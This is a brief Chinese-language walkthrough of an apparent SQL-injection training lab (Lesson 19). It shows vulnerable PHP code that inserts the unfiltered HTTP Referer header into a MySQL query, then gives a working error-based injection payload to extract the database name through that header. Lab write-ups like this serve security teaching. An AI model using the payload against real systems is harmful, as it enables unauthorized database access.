Lesson - 19
POST - Header Injection - Referer field - Error based
首先进入欢迎界面:
查看后台php源代码:
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
对username , password都进行了过滤,和上节相同。
$uagent = $_SERVER['HTTP_REFERER'];
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
mysql_query($insert);
对Referer没有进行过滤就insert进数据库中。
所以可以利用Referer进行注入。
用TamperData在Referer后加上:
' or (select 1 from (select count(*),concat(database(), '~' , floor (rand()*2))as a from information_schema.tables group by a) as b limit 0,1) , '1')#
提交表单,如无成功,多次重复后,结果如图所示:
用updatexml函数,可达到相同效果。